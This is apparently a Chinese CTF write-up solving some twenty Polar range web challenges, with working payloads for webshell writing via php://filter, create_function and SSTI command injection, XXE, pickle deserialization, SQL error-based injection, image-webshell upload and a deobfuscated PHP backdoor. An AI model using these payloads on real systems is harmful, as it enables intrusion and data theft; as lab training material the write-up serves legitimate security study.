【Web】记录Polar靶场<中等>难度题一遍过(全)

目录

到底给不给flag呢

写shell

注入 

某函数的复仇 

xxe

SSTI 

unpickle

BlackMagic

反序列化

找找shell

再来ping一波啊

wu 

代码审计1 

你的马呢? 

ezphp

随机值 

phpurl

search

file

PlayGame 

csdn 


反正持续一个月,感觉XYCTF也不急着打,再沉淀沉淀吧(

到底给不给flag呢

只传GET即可,互相变量覆盖 

?a=flag&flag=a

 

写shell

这不一眼死亡exit绕过

探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户

payload:

?filename=php://filter/convert.base64-decode/resource=1.php
content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

 连蚁剑,拿flag

 

 

注入 

 

这下一眼sql注入了,但经过尝试并不行

参考文章:​​​​​​xpath注入详解

payload:

?id=']|//*|ss['

某函数的复仇 

第一个参数为空的函数,特征很明显是create_function

打create_function注入即可

create_function()代码注入

payload:

?root=;}system('env');/*
shaw=create_function

绷不住了,环境变量的flag又是假的,还得读文件 

?root=;}system('more /f*');/*
shaw=create_function

 

xxe

 

参考文章:vulhub/php/php_xxe/README.md at master · vulhub/vulhub · GitHub

访问simplexml_load_string.php

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flagggg.php" >]>
<root>
<name>&xxe;</name>
</root>

 

base64解码即可

 

SSTI 

测出SSTI 

 参考文章,直接拿武器库随便试一下就可

【心得】基于flask的SSTI个人笔记-CSDN博客

payload:

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

 

unpickle

题目附件

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

显然一个pickle反序列化,但是从cookie处打入的

exp

import requests
import pickle
import base64

class exp(object):
    def __reduce__(self):
        return eval , ("open('/flag','r').read()", )

e=exp()
exp = pickle.dumps(e)
user_b64 = base64.b64encode(exp).decode()
print(user_b64)

Cookie处传入user=xxx即可 

BlackMagic

 访问/BlackMagic.php

右键查看源码

直接本地跑一下看看$strContent是什么

<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r 	xxxxx...xxxxx	 \n";
$strContent = trim($strFlag, $strCharList);
echo urlencode($strContent);

 ​​​​

最终payload:

?strTmp=%09xxxxx...xxxxx%09

 

反序列化

链子很短 

example.__destruct -> example.funnnn -> process.close 

 exp

环境好像有问题,找不到flag&直接读环境变量的flag不对,意思一下吧

?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

找找shell

题目叫找找shell,那就随手试个/shell.php,真的有,但不知道密码是啥

 

懵逼的时候才发现有一个附件shell.txt

<?php 
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
 ?>

是一段混淆,简单处理下即可

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O.  "\n";

输出结果:

再对最后这段代码处理 

 eval($O00O0O("JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

base64解码一下

 得到

$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0 . "\n";
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
echo $O00O0O . "\n";
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
echo $O0OO00 . "\n";
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
echo $OO0O00 . "\n";
$OO0000=$O00OO0{7}.$O00OO0{13};
echo $OO0000 . "\n";
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo $O00O0O.  "\n";
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";
echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));

拿到密码为usam 

 连蚁剑,拿flag

 

再来ping一波啊

随手试试可以命令执行

 

懒得fuzz,手测了几个waf:{、/、空格、tac、ls

index也给ban了,不知道flag在哪,只能先读index.php了,可以变量拼接绕过

;a=ind;b=ex;ta\c$IFS$9$a$b.php

往下拉直接读到flag

wu 

无数字字母RCE

最简单的思路直接取反 

建议用这个y4👴的一站式脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg="/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/"){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(3,"/[A-Za-z0-9]+/");
//1代表模式,后面的是过滤规则

代码审计1 

 这个正则直接大小写绕过就可了,然后echo那部分不一眼php原生类

CTF 中 PHP原生类的利用 – JohnFrod's Blog

经过尝试可以读文件 

?sys=SplFileObject&xsx=/etc/passwd

直接伪协议读flag.php 

?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

 base64解码拿到flag

你的马呢? 

 题目让我们上传php脚本

试了php,php1-5,phtml都被拦截了,那估计得传图片马了

随即看到文件包含点,靠谱

除了后缀检测,还对文件内容进行了检测,把php换成=即可 

访问/index.php?file=uploads/yjh.png,连蚁剑,拿flag 

 

ezphp

访问/robots.txt

 访问/file/file.php,发现存在一个任意文件包含的点

 访问/uploads/upload.php

思路很清晰,上传恶意文件然后包含 

和上题一样,上传一个图片马

文件上传的路径没有回显,自己翻一翻就能找到

 /file/file.php?filename=../uploads/images/yjh3.png

  连蚁剑,拿flag

随机值 

引用取址绕过即可 

<?php
class Index{
    public $Polar1;
    public $Polar2;
    public $Night;
    public $Light;
}

$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;
echo serialize($a);

 ?sys=O:5:"Index":4:{s:6:"Polar1";N;s:6:"Polar2";R:2;s:5:"Night";N;s:5:"Light";R:3;}

 

phpurl

附件内容

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。  

base64解码拿到index.phps 

 

访问/index.phps

 这不一眼二次url编码

 

payload: 

?sys=%25%37%38%25%37%38%25%37%33

 

 

这个UI🤔一眼sql注入啊

随手一个1'直接报错,可以报错注入 

 过滤了空格,/**/替代即可

 

测出列数为5 

 

过滤了updatexml 

大小写绕过即可

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Table_name)From/**/information_schema.tables/**/Where/**/table_schema=database()),0x7e),1)# 

 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(SelEct/**/group_Concat(Column_name)From/**/information_schema.columns/**/Where/**/table_name='Flag'/**/and/**/table_schema=database()),0x7e),1)# 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/group_Concat(Flag)/**/From/**/Flag),0x7e),1)# 

 回显长度不够,substr截一下

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),1,31)/**/From/**/Flag),0x7e),1)# 

 

query=1'/**/and/**/UpdateXml(1,Concat(0x7e,(Select/**/substr((group_Concat(Flag)),32,60)/**/From/**/Flag),0x7e),1)# 

 

file

dirsearch扫出来如下

把button的disabled属性给删掉

 

上传文件改mimetype即可 

 

访问/uploaded/yjh3.php

连蚁剑,拿flag 

 

PlayGame 

瞪眼看链子

PlayGame.__destruct -> User.__toString -> PlayGame.__toString -> PlayGame.openGame()

构造exp

$b=new User();
$a=new PlayGame();
$c=new PlayGame();
$b->name=$c;
$a->user=$b;
$c->gameFile="/flag";
echo serialize($a);

注意传参的时候要polar[flag.flag,不多解释

payload:

?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";N;}

右键查看源码拿到flag

csdn 

初始界面右键查看源码

?xxs=file:///ect/passwd测出文件包含

 

?xxs=file:///flag.txt拿到flag

我寻思这也不在flag目录下啊🤔 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/509787.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MS SQL Server STUFF 函数实战 统计记录行转为列显示

目录 范例运行环境 视图样本设计 数据统计要求 STUFF函数实现 小结 范例运行环境 操作系统&#xff1a; Windows Server 2019 DataCenter 数据库&#xff1a;Microsoft SQL Server 2016 视图样本设计 假设某一视图 [v_pj_rep1_lname_score] 可查询对某一被评价人的绩效…

有单片机基础,准备过一遍freertos,之后再学linux

应届生我觉得继续把单片机深入一下比较好。 站在公司的角度思考一下&#xff0c;个人觉得应该有以下结论&#xff1a; 1 大公司具备技术资金等优势&#xff0c;因此喜欢学历好&#xff0c;理论扎实能够攻坚的人。倾向于培养各个领域的专家&#xff0c;共同构建自己产品的竞争…

网络安全之IP地址证书的重要性

在数字化时代&#xff0c;网络空间已成为各类活动的重要载体&#xff0c;无论是商业交易、信息交流还是远程办公&#xff0c;都离不开互联网的支撑。然而&#xff0c;网络环境的开放性与匿名性也带来了安全风险&#xff0c;如何确保网络交互中的身份真实可信&#xff0c;成为了…

C++中的面向对象到底是什么

C中的面向对象到底是什么 对象嘛&#xff0c;就和大家都有的对象一样&#xff0c;两只眼睛、一个嘴巴、两条腿…… 对不起跑题了&#xff0c;C的面向对象中的对象可不是显示中的对象哦&#xff0c;但是有一些相似之处&#xff0c;有对象的同学可以参考着去学习C面向对象的概念…

3. WiFi基本原理

1. WiFi简介 WiFi的全称是Wireless Fidelity。它是一种无线网络通信技术&#xff0c;由Wi-Fi联盟拥有&#xff0c;目的是改善基于IEEE 802.11标准的无线网络产品之间的互通性&#xff0c;允许电子设备在没有物理连接的情况下进行高速数据传输。此外&#xff0c;WiFi也被视为IE…

SpringCloudAlibaba服务消费者调用nacos服务报错:java.net.UnknownHostException: xxx

确保服务情况正常 通过服务名字调用(注意不需要添加端口号) RequestMapping("/add") public String add() {String url "http://stock-nacos/stock/reduce";String result restTemplate.getForObject(url, String.class);System.out.println("下单…

Vue性能优化--gZip

一、gZip简单介绍 1.1 什么是gzip gzip是GNUzip的缩写&#xff0c;最早用于UNIX系统的文件压缩。HTTP协议上的gzip编码是一种用来改进web应用程序性能的技术&#xff0c;web服务器和客户端&#xff08;浏览器&#xff09;必须共同支持gzip。目前主流的浏览器&#xff0c;Chro…

UE4 方块排序动画

【动画效果】 入动画&#xff1a; 出动画&#xff1a; 【分析】 入动画&#xff1a;方块动画排序方式为Z字形&#xff0c;堆砌方向为X和Y轴向 出动画&#xff1a;方块动画排序方式为随机 【关键蓝图】 1.构建方块砌体 2.入/出动画

解锁AI提示工程新纪元:你的提问是关键!

文章目录 一、AI的潜力&#xff1a;无尽的宝藏等待解锁二、提问的艺术&#xff1a;挖掘AI潜力的关键三、AI的回应&#xff1a;超越预期的答案与启示四、提问的力量&#xff1a;推动AI不断进步与发展五、用提问开启与AI的智慧对话《向AI提问的艺术&#xff1a;提示工程入门与应用…

AdaBoost算法详解自用笔记(1)二分类问题举例分析

AdaBoost算法详解自用笔记&#xff08;1&#xff09;二分类问题举例分析 提升方法的思路 AdaBoost作为一种提升方法&#xff0c;其需要回答两个问题&#xff1a;一是每一轮如何改变训练数据的权重或概率分布&#xff1b;二是如何将弱分类器组合成一个强分类器。对于第一个问题…

【御控物联】JavaScript JSON结构转换(7):数组To数组——键值互换属性重组

文章目录 一、JSON结构转换是什么&#xff1f;二、案例之《JSON数组 To JSON数组》三、代码实现四、在线转换工具五、技术资料 一、JSON结构转换是什么&#xff1f; JSON结构转换指的是将一个JSON对象或JSON数组按照一定规则进行重组、筛选、映射或转换&#xff0c;生成新的JS…

《FDTD Solutions仿真全面教程:从基础入门到论文复现》

2024年5月11日-5月12日 2024年5月18日-5月19日 适用人群&#xff1a; 1.光电工程、物理学、材料科学等相关专业的硕博研究生及科研人员 2.工作于微纳光学、超构材料、光通信、光电子器件等领域的研发工程师 3.对光电仿真技术有浓厚兴趣且希望提升自身科研能力的高校教师和企业研…

ArcGIS操作(四)

任务&#xff1a; 根据江苏省夜间灯光影像完成数据处理与分析查阅统计年鉴数据以提取建成区空间分布位置完成建成区重心转移轨迹 步骤&#xff1a; 这里选取江苏省2000年、2004年、2008年夜光数据进行分析 加载影像 掩膜提取 投影 栅格转面 融合 栅格转面数据时分冗余&…

2024年,短期PMP备考上岸攻略!

今天分享一个PMP备考经验&#xff0c;正在备考PMP的小伙伴&#xff0c;咱们共勉&#xff01; 第一周、阅读教材 之前是第六版教材&#xff0c;花了很长时间阅读和梳理框架。现在是第七版教材&#xff0c;内容少了很多&#xff0c;只有300多页&#xff0c;不会特别耗时间&…

数据结构进阶篇 之 【堆的应用】(堆排序,TOP-K问题)详细讲解

所有人都关心我飞的高不高&#xff0c;只有我妈关心我翅膀硬不硬 一、堆的应用 1. 堆排序 1.1 建堆 1.2 利用堆删除思想来进行排序 2.TOP-K问题 二、完结撒❀ –❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀–❀-正文开始-❀–❀–❀–❀–❀–❀–❀–❀–…

GPT-5:更强的ChatGPT!将在高级推理功能上实现重大进步!GPT-5有哪些功能作用?

自 Claude 3 发布以来&#xff0c;外界对 GPT-5 的期待越来越强。毕竟Claude 3已经全面超越了 GPT-4&#xff0c;成为迄今为止最强大模型。 对于即将发布的GPT-5&#xff0c;有哪些期待&#xff1f; 目前来说&#xff0c;GPT-5的将具备哪些新能力&#xff1f; GPT-5性能进步…

SA2601A 矽塔SYTATEK双NMOS半桥栅极驱动芯片 600V单相

SA2601A是一款针对于双NMOS的半桥栅极驱动芯片&#xff0c;专为高压、高速驱动N型功率MOSFET和IGBT设计&#xff0c;可在高达600V电压下工作。 SA2601A内置VCC和VBS欠压(UVLO)保护功能&#xff0c;防止功率管在过低的电压下工作&#xff0c;提高效率。 SA2601A输入脚兼容3.3-15…

安装pytorch3d 0.3.0遇到的一些问题

官网&#xff1a;PyTorch3D A library for deep learning with 3D datahttps://pytorch3d.org/最新版本pytorch3d/INSTALL.md at main facebookresearch/pytorch3d (github.com) 之前版本Releases facebookresearch/pytorch3d (github.com) 找到需要的版本&#xff0c;例如…

2024春算法训练3——数组与字符串

一、题解 1、A-[NOIP2013]记数问题_2024春算法训练3——数组与字符串 (nowcoder.com) 直接暴力用一个哈希表存每个数出现的次数&#xff0c;最坏的时间时间复杂度为7*10^7&#xff08;实际上比这个数要小&#xff09;&#xff1b;代码如下&#xff1a; #include<iostream…

SSL安全证书多少钱?

SSL安全证书多少钱&#xff1f;单域名、多域名与通配符SSL证书的全面对比与价格分析。SSL&#xff08;Secure Sockets Layer&#xff09;证书作为一种加密技术&#xff0c;能够确保网站数据传输的安全性和可靠性&#xff0c;对于提升网站信誉和保护用户隐私具有至关重要的作用。…